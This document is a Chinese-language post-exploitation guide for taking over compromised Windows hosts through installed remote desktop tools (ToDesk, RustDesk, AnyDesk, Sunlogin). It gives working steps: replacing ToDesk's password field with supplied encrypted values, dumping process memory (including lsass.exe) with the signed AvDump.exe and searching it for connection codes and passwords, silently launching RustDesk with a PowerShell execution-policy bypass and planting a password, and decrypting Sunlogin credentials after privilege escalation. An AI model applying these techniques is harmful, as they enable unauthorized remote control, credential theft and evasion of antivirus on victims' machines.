在平時打web或者打內網時難免遇到一種情況,就是需要以當前使用者身份,通過遠端桌面的形式操控主機。已達到退殺軟、操控聊天軟體以及其他需要互動式的操作,這個時候就需要藉助遠端桌面軟體來操控目標機。
根據目標軟體安裝情況有以下兩種利用方法
1)改組態檔。
老版本可替換至本地檢視密碼(此法在最近更新的幾個版本中已經失效),新版本只可更改密碼。
改C:\Program Files (x86)\ToDesk下conf.ini檔案tempAuthPassEx欄位
tga5h42d
b219c2a861e176d319b0a4e0463896d4af2a02ed7bc88da794541701b46f1af2fc4a9864ae00772cc8d924a801bdaaa3b47fbd2fa637ac4b
65tu07zr
11a48a2981bfda260f2f1a890a97b2ed9fcb9b48a262d20e3a68f6c56d6790cd910e1618a7747df448922b0cfe16c284728d28864923d3c8
kill程序重啟即可。
2)記憶體讀密碼
userInfo.json
和devlist_xx.json
檔案有userid(連線碼)
dump記憶體,搜尋連線碼,上下幾行會有密碼
4.3.3以下臨時密碼為6位數位
dump記憶體 僅測試4.3.3.0
執行精簡版(需bypassUAC),dump子程序(主程序為system許可權)
AvDump.exe是Avast防毒軟體中自帶的一個程式,可用於轉儲指定程序(lsass.exe)記憶體資料,它帶有Avast殺軟數位簽章。
AvDump.exe --pid 954 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
可通過定位被控端版本 4.3.3.0 、主機名、公網ip、系統版本(更準確),來找到相應位置。
*shell快速提取,不一定有效,密碼可能在輸出的前後兩行
設定utf-8
CHCP 65001
1)連線碼
shell findstr "20220829" C:\Users\Public\tod.dmp 時間定位
shell findstr "ip地址" C:\Users\Public\tod.dmp ip定位
2)連線密碼
主要靠系統版本號定位,具體看連線碼定位字串顯示的版本號
shell findstr "19044" C:\Users\Public\tod.dmp
通常為8位元數,數位字母混合
單機版,無需繞UAC,但部分軟體操作會提示UAC。
組態檔地址
C:\Users\username\AppData\Roaming\RustDesk\config\RustDesk.toml
使用powershell可以無視窗執行
powershell-executionPolicy bypass Start-Process -WindowStyle hidden -FilePath 'C:/user/rust.exe'
第一次執行rustdesk會生成組態檔,然後結束程序
taskkill/f /t /im rust.exe
在組態檔中新增密碼,6位數密碼
在內網還可設定直連功能RustDesk2.toml
[options]
direct-server='Y'
direct-access-port='8443'
複製本地C:\Users\guoguang\AppData\Roaming\AnyDesk 下四個檔案到遠端主機上
刪除本地檔案,重啟開啟連線
自從向日葵12.5版本後,原encry_pwd和fastcode欄位已經不在組態檔config.ini和登入檔HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo內
解決方案一
根據分析,上述欄位移動至C:\ProgramData\Oray\SunloginClient\sys_config.ini中
此組態檔預設需要SYSTEM許可權才可以讀取
提權後拿到id和加密後的密碼,經測試演演算法沒變,通過現有專案解密即可 https://github.com/wafinfo/Sunflower_get_Password
解決方案二
通過dump記憶體的方式匹配明文字串獲取,參考: https://red.rizhan.icu/?thread-176.htm
id正則為k[0-9]{8,}
密碼正則為>[a-z0-9]{6},每次重新整理後密碼的均會儲存在記憶體中